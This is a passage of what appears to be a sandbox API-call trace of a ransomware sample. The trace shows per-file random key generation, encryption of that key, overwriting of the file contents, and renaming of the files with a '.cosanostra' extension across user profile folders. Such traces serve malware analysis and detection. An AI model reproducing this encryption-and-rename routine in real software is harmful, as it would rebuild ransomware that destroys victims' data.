dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0091.021] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned 68 [0091.021] StrStrW (lpFirst="IE Add-on site.url", lpSrch=".txt") returned 0x0 [0091.022] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.022] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2abf364, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf364*=0x85, lpOverlapped=0x0) returned 1 [0091.022] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.022] WriteFile (in: hFile=0x154, lpBuffer=0x2abf3a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf364, lpOverlapped=0x0 | out: lpBuffer=0x2abf3a4*, lpNumberOfBytesWritten=0x2abf364*=0x4, lpOverlapped=0x0) returned 1 [0091.022] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf364, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf364*=0x30, lpOverlapped=0x0) returned 1 [0091.022] CloseHandle (hObject=0x154) returned 1 [0091.023] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url.cosanostra" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url.cosanostra")) returned 1 [0091.024] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf3a0 | out: pbBuffer=0x2abf3a0) returned 1 [0091.024] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf398*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf398*=0x30) returned 1 [0091.024] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0091.025] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url") returned 58 [0091.025] StrStrW (lpFirst="Web Slice Gallery.url", lpSrch=".txt") returned 0x0 [0091.026] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffff1e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.026] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2abf35c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf35c*=0xe2, lpOverlapped=0x0) returned 1 [0091.026] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.026] WriteFile (in: hFile=0x154, lpBuffer=0x2abf39c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf35c, lpOverlapped=0x0 | out: lpBuffer=0x2abf39c*, lpNumberOfBytesWritten=0x2abf35c*=0x4, lpOverlapped=0x0) returned 1 [0091.026] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf35c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf35c*=0x30, lpOverlapped=0x0) returned 1 [0091.026] CloseHandle (hObject=0x154) returned 1 [0091.026] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url.cosanostra" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url.cosanostra")) returned 1 [0091.027] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf398 | out: pbBuffer=0x2abf398) returned 1 [0091.027] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf390*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf390*=0x30) returned 1 [0091.027] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\default\\favorites\\links\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0091.027] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\desktop.ini") returned 48 [0091.027] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0091.028] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffffb0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.028] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x2abf354, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf354*=0x50, lpOverlapped=0x0) returned 1 [0091.028] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.028] WriteFile (in: hFile=0x154, lpBuffer=0x2abf394*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf354, lpOverlapped=0x0 | out: lpBuffer=0x2abf394*, lpNumberOfBytesWritten=0x2abf354*=0x4, lpOverlapped=0x0) returned 1 [0091.028] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf354, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf354*=0x30, lpOverlapped=0x0) returned 1 [0091.028] CloseHandle (hObject=0x154) returned 1 [0091.028] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\default\\favorites\\links\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\desktop.ini.cosanostra" (normalized: "c:\\users\\default\\favorites\\links\\desktop.ini.cosanostra")) returned 1 [0091.090] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf398 | out: pbBuffer=0x2abf398) returned 1 [0091.090] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf390*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf390*=0x30) returned 1 [0091.090] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Contacts\\." (normalized: "c:\\users\\default\\contacts\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.701] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf390 | out: pbBuffer=0x2abf390) returned 1 [0091.701] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf388*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf388*=0x30) returned 1 [0091.701] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\.." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.951] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf390 | out: pbBuffer=0x2abf390) returned 1 [0091.952] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf388*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf388*=0x30) returned 1 [0091.952] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\94308059b57b3142e455b38a6eb92015"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0091.984] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015") returned 106 [0091.984] StrStrW (lpFirst="94308059B57B3142E455B38A6EB92015", lpSrch=".txt") returned 0x0 [0091.985] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffed0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.985] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2abf34c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf34c*=0x130, lpOverlapped=0x0) returned 1 [0091.985] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.985] WriteFile (in: hFile=0x138, lpBuffer=0x2abf38c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf34c, lpOverlapped=0x0 | out: lpBuffer=0x2abf38c*, lpNumberOfBytesWritten=0x2abf34c*=0x4, lpOverlapped=0x0) returned 1 [0091.985] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf34c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf34c*=0x30, lpOverlapped=0x0) returned 1 [0091.986] CloseHandle (hObject=0x138) returned 1 [0091.986] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015.cosanostra") returned 117 [0091.986] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\94308059b57b3142e455b38a6eb92015"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015.cosanostra" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\94308059b57b3142e455b38a6eb92015.cosanostra")) returned 1 [0092.062] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf388 | out: pbBuffer=0x2abf388) returned 1 [0092.062] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf380*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf380*=0x30) returned 1 [0092.062] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0092.073] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD") returned 75 [0092.073] StrStrW (lpFirst="WMSDKNS.DTD", lpSrch=".txt") returned 0x0 [0092.074] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe0e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.074] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x1f2, lpNumberOfBytesWritten=0x2abf344, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abf344*=0x1f2, lpOverlapped=0x0) returned 1 [0092.074] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.074] WriteFile (in: hFile=0x180, lpBuffer=0x2abf384*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf344, lpOverlapped=0x0 | out: lpBuffer=0x2abf384*, lpNumberOfBytesWritten=0x2abf344*=0x4, lpOverlapped=0x0) returned 1 [0092.074] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf344, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf344*=0x30, lpOverlapped=0x0) returned 1 [0092.075] CloseHandle (hObject=0x180) returned 1 [0092.075] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD.cosanostra") returned 86 [0092.075] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd.cosanostra")) returned 1 [0092.207] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf380 | out: pbBuffer=0x2abf380) returned 1 [0092.207] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf378*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf378*=0x30) returned 1 [0092.207] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0092.915] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg") returned 80 [0092.919] StrStrW (lpFirst="Peacock.jpg", lpSrch=".txt") returned 0x0 [0092.957] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffec05, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.957] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x13fb, lpNumberOfBytesWritten=0x2abf33c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf33c*=0x13fb, lpOverlapped=0x0) returned 1 [0092.957] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.957] WriteFile (in: hFile=0x138, lpBuffer=0x2abf37c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf33c, lpOverlapped=0x0 | out: lpBuffer=0x2abf37c*, lpNumberOfBytesWritten=0x2abf33c*=0x4, lpOverlapped=0x0) returned 1 [0092.957] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf33c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf33c*=0x30, lpOverlapped=0x0) returned 1 [0092.958] CloseHandle (hObject=0x138) returned 1 [0092.958] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.cosanostra") returned 91 [0092.958] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg.cosanostra")) returned 1 [0092.958] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf380 | out: pbBuffer=0x2abf380) returned 1 [0092.958] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf378*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf378*=0x30) returned 1 [0092.958] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0092.959] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl") returned 104 [0092.959] StrStrW (lpFirst="10_All_Music.wpl", lpSrch=".txt") returned 0x0 [0092.960] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffbd9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.960] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x427, lpNumberOfBytesWritten=0x2abf33c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf33c*=0x427, lpOverlapped=0x0) returned 1 [0092.960] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.960] WriteFile (in: hFile=0x138, lpBuffer=0x2abf37c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf33c, lpOverlapped=0x0 | out: lpBuffer=0x2abf37c*, lpNumberOfBytesWritten=0x2abf33c*=0x4, lpOverlapped=0x0) returned 1 [0092.960] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf33c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf33c*=0x30, lpOverlapped=0x0) returned 1 [0092.961] CloseHandle (hObject=0x138) returned 1 [0092.961] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl.cosanostra") returned 115 [0092.961] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl.cosanostra")) returned 1 [0092.961] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf378 | out: pbBuffer=0x2abf378) returned 1 [0092.961] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf370*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf370*=0x30) returned 1 [0092.961] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0092.961] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl") returned 116 [0092.961] StrStrW (lpFirst="09_Music_played_the_most.wpl", lpSrch=".txt") returned 0x0 [0093.067] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffbff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.067] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x401, lpNumberOfBytesWritten=0x2abf334, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf334*=0x401, lpOverlapped=0x0) returned 1 [0093.067] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.067] WriteFile (in: hFile=0x138, lpBuffer=0x2abf374*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf334, lpOverlapped=0x0 | out: lpBuffer=0x2abf374*, lpNumberOfBytesWritten=0x2abf334*=0x4, lpOverlapped=0x0) returned 1 [0093.067] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf334, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf334*=0x30, lpOverlapped=0x0) returned 1 [0093.067] CloseHandle (hObject=0x138) returned 1 [0093.068] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl.cosanostra") returned 127 [0093.068] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl.cosanostra")) returned 1 [0093.069] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf378 | out: pbBuffer=0x2abf378) returned 1 [0093.069] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf370*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf370*=0x30) returned 1 [0093.069] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0093.069] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl") returned 125 [0093.069] StrStrW (lpFirst="04_Music_played_in_the_last_month.wpl", lpSrch=".txt") returned 0x0 [0093.071] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffafc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.071] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x504, lpNumberOfBytesWritten=0x2abf334, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf334*=0x504, lpOverlapped=0x0) returned 1 [0093.071] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.071] WriteFile (in: hFile=0x138, lpBuffer=0x2abf374*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf334, lpOverlapped=0x0 | out: lpBuffer=0x2abf374*, lpNumberOfBytesWritten=0x2abf334*=0x4, lpOverlapped=0x0) returned 1 [0093.071] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf334, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf334*=0x30, lpOverlapped=0x0) returned 1 [0093.071] CloseHandle (hObject=0x138) returned 1 [0093.071] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl.cosanostra") returned 136 [0093.072] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl.cosanostra")) returned 1 [0093.072] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf370 | out: pbBuffer=0x2abf370) returned 1 [0093.072] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf368*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf368*=0x30) returned 1 [0093.072] CreateFileW 